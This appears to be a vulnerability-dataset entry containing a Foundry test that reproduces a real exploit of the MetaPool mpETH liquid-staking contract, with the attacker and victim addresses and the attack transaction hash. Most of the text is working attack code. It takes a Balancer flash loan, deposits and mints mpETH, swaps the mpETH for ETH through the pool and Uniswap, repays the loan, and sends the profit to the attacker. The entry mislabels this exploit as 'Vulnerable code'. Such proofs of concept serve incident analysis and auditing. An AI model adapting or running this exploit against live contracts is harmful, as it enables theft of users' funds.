HIGH severity: MetaPool exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 25k USD Attacker : https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98 Attack Contract : https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136 Created Attack Contract: https://etherscan.io/address/0xC3D

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 25k USD
// Attacker : https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98
// Attack Contract : https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136
// Created Attack Contract: https://etherscan.io/address/0xC3D10bd8e051a2bE6408d18Be8464654F699a25a
// Vulnerable Contract : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710
// Attack Tx : https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710#code

// @Analysis
// Post-mortem : https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit
// Twitter Guy : https://x.com/peckshield/status/1934895187102454206
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant MPETH_ADDR = 0x48AFbBd342F64EF8a9Ab1C143719b63C2AD81710;
address constant MPETH_TO_ETH_POOL = 0xdF261F967E87B2aa44e18a22f4aCE5d7f74f03Cc;
address constant UNISWAP_V3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;

contract MetaPool is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 22722911 - 1;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        MetaPoolExploit exploit = new MetaPoolExploit();
        exploit.start();

        uint256 amount = IMpEth(MPETH_ADDR).balanceOf(address(this));
        console.log("Attacker mpETH balance After exploit: ", amount);
    }

    receive() external payable {}
}

contract MetaPoolExploit {
    address attacker;
    constructor() {
        attacker = msg.sender;
    }
    function start() external {
        // Step 1: borrow 200 weth
        address[] memory tokens = new address[](1);
        tokens[0] = WETH_ADDR;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 200 ether;
        IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory data
    ) public {
        IWETH weth = IWETH(payable(WETH_ADDR));
        IMpEth mpEth = IMpEth(MPETH_ADDR);
        IMpEthPool mpEthPool = IMpEthPool(MPETH_TO_ETH_POOL);
        IV3SwapRouter v3SwapRouter = IV3SwapRouter(UNISWAP_V3_ROUTER);

        // Step 2: convert 107 weth to eth
        weth.withdraw(107 ether);

        // Step 3: convert 107 eth to ~97 mpeth
        uint256 amount = mpEth.depositETH{value: 107 ether}(address(this));
        mpEth.mint(amount, address(this));
        // 97,019,503,948,141,950,925 mpETH

        // Step 4: swap mpETH for ETH from mpETH / ETH pool
        mpEth.approve(MPETH_TO_ETH_POOL, type(uint256).max);
        mpEthPool.swapmpETHforETH(97 ether, 0);
        // ~96.36 eth
        mpEthPool.swapmpETHforETH(9.6 ether, 0);
        // ~9.64 eth

        // Step 5: swap mpETH for ETH from Uniswap V3 Router
        mpEth.approve(UNISWAP_V3_ROUTER, 1_000_000_000 ether);
        IV3SwapRouter.ExactInputSingleParams memory _params = IV3SwapRouter.ExactInputSingleParams({
            tokenIn: MPETH_ADDR,
            tokenOut: WETH_ADDR,
            fee: 100,
            recipient: address(this),
            amountIn: 10 ether,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        v3SwapRouter.exactInputSingle(_params);
        // 9999023359504975714
        
        // Step 6: ETH -> WETH
        uint256 ethBalance = address(this).balance;
        weth.deposit{value: ethBalance}();

        // Step 7: repay flash loan
        IWETH(payable(WETH_ADDR)).transfer(BALANCER_VAULT, 200 ether);

        // Step 8: WETH -> ETH
        uint256 wethBalance = IWETH(payable(WETH_ADDR)).balanceOf(address(this));
        IWETH(payable(WETH_ADDR)).withdraw(wethBalance);
        
        // Step 9: send ETH to attacker
        ethBalance = address(this).balance;
        payable(attacker).call{value: ethBalance}("");
        // 8.98 eth

        // Step 10: send mpETH to attacker
        uint256 mpEthBalance = IMpEth(MPETH_ADDR).balanceOf(address(this));
        IMpEth(MPETH_ADDR).transfer(attacker, mpEthBalance);
    }

    receive() external payable {}
}

interface IMpEth is IERC20 {
    function depositETH(address receiver) external payable returns (uint256);
    function mint(uint256 shares, address receiver) external;
}

interface IMpEthPool {
    function swapmpETHforETH(uint256 amount, uint256 minAmountOut) external;
}

interface IV3SwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }
    function exactInputSingle(
        ExactInputSingleParams calldata params
    ) external payable returns (uint256);
}


Vulnerability type: unknown